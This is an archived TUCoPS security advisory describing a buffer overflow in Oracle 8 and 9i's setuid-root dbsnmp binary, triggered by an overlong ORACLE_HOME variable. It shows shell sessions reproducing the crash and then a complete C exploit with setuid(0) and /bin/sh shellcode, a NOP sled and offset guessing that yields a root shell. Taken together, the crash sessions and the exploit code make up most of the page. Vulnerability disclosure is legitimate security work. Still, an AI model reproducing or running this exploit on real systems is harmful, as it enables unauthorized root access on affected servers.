Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Oracle :: oracle2.htm

Oracle 8, 9i dbsnmp Buffer Overflow



COMMAND

    dbsnmp

SYSTEMS AFFECTED

    Oracle 8, 9i

PROBLEM

    Juan  Manuel  Pascual  Escriba  found  following.  Buffer overflow
    exists if  ORACLE_HOME enviroment  variable if  is defined  with a
    size greater than 749 bytes

        [oracle@proves1 iAS]$ ls -alc
        /usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
        -rwsr-s---    1 root     oinstall   667874 jul 18 15:38
        /usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
        
        [oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
        [oracle@proves1 8.1.6]$
        /usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp
        couldn't read file "/config/nmiconf.tcl": no such file or directory
        Failed to initialize nl component,error=462
        Failed to initialize nl component,error=462
        
        [oracle@proves1 8.1.6]$[oracle@proves1 8.1.6]$ export ORACLE_HOME=`perl -e 'print "A"x750'`
        [oracle@proves1 8.1.6]$ dbsnmp
        couldn't read file "/config/nmiconf.tcl": no such file or directory
        Segmentation fault

    This overflow exists  in newer products  like Oracle 9i  and maybe
    in older too.

        [oracle@proves1 iAS]$ ls -alc
        /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
        -rwsr-s---    1 root     oinstall   971665 abr 11 17:41
        /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
        
        [oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x749'`
        [oracle@proves1 iAS]$ /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
        couldn't read file "/config/nmiconf.tcl": no such file or directory
        Failed to initialize nl component,error=462
        
        [oracle@proves1 iAS]$ Failed to initialize nl component,error=462
        [oracle@proves1 iAS]$ export ORACLE_HOME=`perl -e 'print "A"x750'`
        [oracle@proves1 iAS]$ /usr/local/oracle/app/oracle/product/iAS/bin/dbsnmp
        Segmentation fault

    Any user belonging to oracle group can obtain euid=0.

    /* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.
    
    dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.
    
    In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).
    
    
    
    "Cae fuego en lugar de mana
    Se disfraza el asfalto de mar
    El zapato no encuentra el pedal
    Parece que anda suelto satanas."
    
			    L.E.Aute
    
    
    
    This vulnerability was researched by:
	    Juan Manuel Pascual <pask@plazasite.com>
    
    Special thanks to:
    
	    Ivan Sanchez <isanchez@plazasite.com>
	    Mundo Alonso-Cuevillas <mundo@plazasite.com>
    */
    
    
    
    
    
    #include <stdio.h>
    #include <stdlib.h>
    
    #define BUFFER                                  800
    #define OFFSET                                 7896
    #define NOP                                    0x90
    #define BINARY  "/usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp"
    
    
    char shellcode[] =
    "\x90"		/* Additional NOP */
    "\x31\xc0"	/* begin setuid (0) */
    "\x31\xdb"
    "\xb0\x17"
    "\xcd\x80"
    
    "\xeb\x1f"
    "\x5e"
    "\x89\x76\x08"
    "\x31\xc0"
    "\x88\x46\x07"
    "\x89\x46\x0c"
    "\xb0\x0b"
    "\x89\xf3"
    "\x8d\x4e\x08"
    "\x8d\x56\x0c"
    "\xcd\x80"
    "\x31\xdb"
    "\x89\xd8"
    "\x40"
    "\xcd\x80"
    "\xe8\xdc\xff\xff\xff"
    "/bin/sh";
    
    
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr,binary[120];
      long *addr_ptr, addr;
      int bsize=BUFFER;
      int i,offset=OFFSET;
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
    
      addr = get_sp() -offset;
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      memset(buff,bsize/2,NOP);
    
    ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
    buff[bsize - 1] = '\0';
    setenv("ORACLE_HOME",buff,1);
    system(BINARY);
    }

SOLUTION

    Wait for a patch.(??)


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH